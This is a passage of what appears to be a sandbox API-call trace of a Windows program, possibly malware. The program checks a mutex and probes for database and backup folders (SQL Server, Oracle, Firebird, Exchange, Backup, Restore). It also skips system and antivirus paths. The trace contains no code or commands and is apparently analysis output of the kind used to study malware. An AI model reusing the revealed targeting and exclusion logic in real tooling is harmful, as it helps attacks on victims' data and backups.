cAlternateFileName="THMBNA~1.MON")) returned 0 [0054.040] GetLastError () returned 0x12 [0054.040] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.041] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0054.041] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.041] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.041] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.041] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.041] GlobalUnlock (hMem=0x44000c) returned 0 [0054.041] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.041] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.041] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.041] GlobalUnlock (hMem=0x44000c) returned 0 [0054.041] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.041] GlobalUnlock (hMem=0x440004) returned 0 [0054.041] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.041] GlobalLock (hMem=0x440004) returned 0x550170 [0054.041] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.041] GlobalUnlock (hMem=0x440004) returned 0 [0054.041] GlobalLock (hMem=0x440004) returned 0x550170 [0054.042] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.042] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.042] GlobalUnlock (hMem=0x440004) returned 0 [0054.042] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.042] GlobalUnlock (hMem=0x44000c) returned 0 [0054.042] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.042] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA", len=0x3e | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA") returned 1 [0054.042] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.042] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.042] GlobalUnlock (hMem=0x44000c) returned 0 [0054.042] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.042] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.042] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.042] GlobalUnlock (hMem=0x44000c) returned 0 [0054.042] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.042] GlobalUnlock (hMem=0x440004) returned 0 [0054.042] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@꟎RꞢR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0054.045] GetLastError () returned 0x3 [0054.045] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.045] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0054.045] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0054.046] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18㿬Q\x181")) returned 0xffffffff [0054.046] GetLastError () returned 0x2 [0054.046] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0054.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.046] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@삌R企@\x18?T\x18;")) returned 0xffffffff [0054.047] GetLastError () returned 0x2 [0054.047] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a548, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0054.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0054.047] GetLastError () returned 0x2 [0054.047] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a548, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0054.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.048] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18삌R\x18j")) returned 0xffffffff [0054.048] GetLastError () returned 0x2 [0054.048] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.048] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.048] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.048] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0054.048] GetLastError () returned 0x2 [0054.048] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.048] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a548, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\삈RP") returned 6 [0054.049] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.049] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@뾴R企@\x18?T\x18y")) returned 0xffffffff [0054.049] GetLastError () returned 0x2 [0054.049] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.049] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a548, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0054.049] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.049] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18?T\x18\x81")) returned 0xffffffff [0054.049] GetLastError () returned 0x2 [0054.050] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a548, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0054.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0054.050] GetLastError () returned 0x2 [0054.050] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a548, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0054.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@뾴R企@\x18?T\x18\x8f")) returned 0xffffffff [0054.051] GetLastError () returned 0x2 [0054.051] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.051] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a548, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0054.051] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.051] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18?T\x18\x97")) returned 0xffffffff [0054.051] GetLastError () returned 0x2 [0054.051] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.051] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a548, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0054.051] GlobalLock (hMem=0x440004) returned 0x550170 [0054.051] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.051] GlobalUnlock (hMem=0x440004) returned 0 [0054.051] GlobalLock (hMem=0x440004) returned 0x550170 [0054.051] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.051] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.051] GlobalUnlock (hMem=0x440004) returned 0 [0054.052] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.052] GlobalUnlock (hMem=0x44000c) returned 0 [0054.052] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.052] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.052] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0054.052] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.052] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0054.052] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0054.052] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.052] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.052] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.052] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.052] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0054.052] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5a8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.053] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.053] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.053] GlobalUnlock (hMem=0x44000c) returned 0 [0054.053] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.053] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.053] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.053] GlobalUnlock (hMem=0x44000c) returned 0 [0054.053] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.053] GlobalUnlock (hMem=0x440004) returned 0 [0054.053] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.053] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.053] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.053] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a548, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.053] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.053] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a548, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.054] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0054.054] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0054.054] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a548, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0054.054] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a548, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.054] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a548, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.055] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\") returned 0x3f [0054.055] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact 